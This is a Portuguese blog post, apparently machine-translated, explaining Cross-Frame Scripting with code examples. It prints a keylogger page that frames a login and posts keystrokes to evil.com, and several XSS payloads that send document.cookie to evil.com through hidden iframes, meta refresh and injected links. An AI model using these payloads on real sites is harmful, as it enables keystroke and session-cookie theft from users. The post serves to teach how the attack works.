O Cross Frame Scripting

ASG voltou e ja preparou a braba para vocês.

Cross Frame Scripting

Descrição

Cross-Frame Scripting (XFS) é o ataque do lado do cliente com relação ao Cross-site Scripting (XSS). Em um ataque XFS, o invasor explora um bug cross-frame-scripting específico em um navegador da Web para acessar dados confidenciais em um site de terceiros. O atacante induz o usuário do navegador para navegar até uma página web controlado pelo invasor; a página do atacante carrega uma página de terceiros em um quadro HTML e, em seguida, executa um código javascript na página do atacante e rouba dados da página de terceiros.
XFS também é por vezes utilizado para descrever um ataque XSS que usa uma estrutura de HTML no ataque. Por exemplo, um invasor pode explorar a Cross Flaw Site Scripting para injetar um quadro em uma página da web de terceiros, ou que um atacante pode criar uma página que usa um quadro para carregar uma página de terceiros com uma falha de XSS.

Exemplos

XFS Ataque Contra IE (Internet Explorer)
Para explorar o bug do IE é necessário vazamentos de eventos do teclado através de conjuntos de quadros, um atacante pode criar uma página web em evil.com, que os controles de atacante, incluem-se na página evil.com e um quadro visível exibe a página de login para example.com. O atacante pode ocultar as bordas do quadro e ampliar o quadro para cobrir toda a página, de modo que ele olha para o usuário do navegador como ele ou ela está realmente visitar example.com O atacante registra alguns javascript na página evil.com que escuta todos os eventos-chave na página. Normalmente, este ouvinte iria ser notificado de eventos somente da página evil.com - mas por causa do bug do navegador, este ouvinte é notificado também de eventos da página em que example.com emoldurada. Assim, cada tecla faz com que o usuário do navegador no quadro example.com, ao tentar entrar em example.com, pode ser capturada pelo atacante, e comunicadas ao evil.com:


<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
    keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
    if (keystrokes.length) {
        var xhr = newXHR();
        xhr.open("POST", "http://evil.com/k");
        xhr.send(keystrokes.join("+"));
    }
    keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
    if (window.XMLHttpRequest)
        return new XMLHttpRequest();
    return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>


XSS ataque usando Frames ~
Para explorar a falha Cross Site Scripting em uma página da web de terceiros em exemplo.com, o atacante pode criar uma página web em evil.com, que os controles de atacante, e incluem um iframe escondido na página evil.com. O iframe carrega a página example.com falho, e injeta algum script para ele através da falha de XSS. Neste exemplo, a página example.com imprime o valor de "q" parâmetro de consulta da URL da página de conteúdo da página, sem fugir do valor. Isso permite que o invasor injetar um pouco de javascript na página que rouba example.com example.com cookies do navegador do usuário e envia o cookie através de uma solicitação falsa imagem de evil.com (src URL do iframe é enrolado para legibilidade):


<iframe style="position:absolute;top:-9999px" src="http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>


O iframe está escondido fora da tela, de modo que o usuário do navegador não terá qualquer idéia de que ele ou ela tenha apenas "visitado" a página exemple.com. No entanto, este ataque é efectivamente o mesmo que um ataque XSS convencional, uma vez que o atacante pode simplesmente ter reencaminhado o utilizador directamente para a página example.com, usando uma variedade de métodos, incluindo um elemento meta como este (novamente, o URL do elemento meta é enrolado para legibilidade):


<meta http-eqiv="refresh" content="1;url=http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>">


A única diferença é que, ao usar um iframe, o atacante pode esconder o quadro off-screen - de modo que o usuário do navegador não terá qualquer idéia de que ele ou ela apenas "visitou" o examplo.com. Ao usar um redirecionamento para navegar diretamente para exemplo.com, o navegador irá exibir a url exemplo.com na barra de endereços do navegador, e a página exemplo.com na janela do navegador, de modo que o usuário do navegador estará ciente de que ele ou ela é visitante da exemplo.com.
Outro ataque XSS Usando Frames ~
Para explorar a mesma falha Cross Site Scripting que acima de exemplo.com (que imprime o valor de "q" parâmetro de consulta da URL da página de conteúdo da página sem escapar o valor), o atacante pode criar uma página web em evil.com , que os controles atacante, que inclui um link como o seguinte, e induzir o usuário a clicar no link. Este link injeta um iframe na página exemplo.com explorando a falha de XSS com o parâmetro "q" de consulta, o iframe é executado através de algum javascript para roubar a exemplo.com com cookies do navegador do usuário e envia-lo através de uma solicitação falsa de uma imagem na evil.com (a URL é enrolado para legibilidade):

http://example.com/flawed-page.html?=<iframe src="↵
    javascript:document.body.innerHTML=+'<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">'"></iframe>


Mais uma vez, este ataque é efetivamente o mesmo que um ataque XSS convencional, o atacante simplesmente usa o atributo src do elemento iframe injetado como um veículo para executar um código javascript na página atacada.

Comentários

Postar um comentário

Postagens mais visitadas deste blog

explosões de pagers: análise de inteligência

A situação dos pagers do Hezbollah explokkkdindo é um ataque de cadeia de suprimentos incrivelmente impressionante por Israel (muito provavelmente). Tenho certeza de que mais detalhes virão, mas já há alguns bem fundamentados a serem comentados. Primeiro, com mais de 1000 casos sendo relatados, isso provavelmente é uma cadeia de suprimentos, em vez de alguns dispositivos modificados. Feito durante o envio e/ou na fábrica, como assim? Não foi um caso específico ou um golpe de sorte foi algo bem arquitetado. 2º, as explosões são substanciais.  Um alto explosivo como  PETN. Estou supondo que o explosivo foi integrado à bateria para furtividade física. Mas, diferente de Israel, não sei se o Hezbollah verifica seus internos para que isso importe. Mas não é como se você pudesse modificar a bateria e pronto. O explosivo precisa de um gatilho. Neste vídeo, logo antes da explosão, você vê o alvo olhando para baixo como se tivesse acabado de receber uma mensagem. ~4s depois, ele explode...
Leia mais

megabits e megabytes

Imagem
Megabits e megabytes  Vamos lá... só vou escrever uma vez, prestem atenção: 1 bit= 1bit certo? Rs( até ai beleza!!), 1byte= 8bits (entendeu?) Isso não  é um bicho de 7 cabeças, um de 6 talvez.(hehe!)mas 1kbyte= 1024bytes, um megabit=128kbytes (quem lembra dos cartuchos de SNES e MEGADRIVE ? Eram medidos em megabits, então os cartuchos  de 4 mega na época,  eram na verdade  512 kbytes, falando em marketing,  é  muito mais chamativo colocar “1 mega" na caixa do que 128 kbytes, não acha?), seguindo: 1 megabyte= 1024kbytes ou 8 megabits,  sendo assim: cabem num CD, 640mb (megabytes), ou 5.120 megabits (lembrando que megabits ninguém usa mais “empresas “ por ser um termo antigo mas na comunidade hacker e até termo principal). Sempre o que é  terminado com byte tem 8x o tamanho dos termos que terminam com bit, entendido? Então um giga tem 1024megabytes, quantos gigas tem seu celular ou computador? Um terabyte tem 1024gigabytes ( já vira...
Leia mais

AS REAIS APIS DO HTML 5

a não véi em pleno século 21 tem gente que acha que HTML não tem api ver se pode, o preconceito contra o HTML tá enraizado na sociedade tecnológica que tratam o coitado do HTML como um ...  DIGA NÃO  AO PRECONCEITO CONTRA AS LINGUAGENS DE HYPERTEXTO. brincadeira a parte, já faz um tempo que o HTML 5 tem algumas apis e além disso o mesmo pode ser usado para fazer jogos para a web além de ter ótimas funções. Uma API permite que sua solução ou serviço se comunique com outros produtos e serviços sem precisar saber como eles foram implementados. Isso simplifica o desenvolvimento de aplicações, gerando economia de tempo e dinheiro. Ao desenvolver novas ferramentas e soluções (ou ao gerenciar aquelas já existentes), as APIs oferecem a flexibilidade necessária para simplificar o design, a administração e o uso, além de fornecer oportunidades de inovação. -redteam geralmente as APIs são implementadas por alguma linguagem de programação mas o HTML 5 tem algumas próprias. Lembrando que d...
Leia mais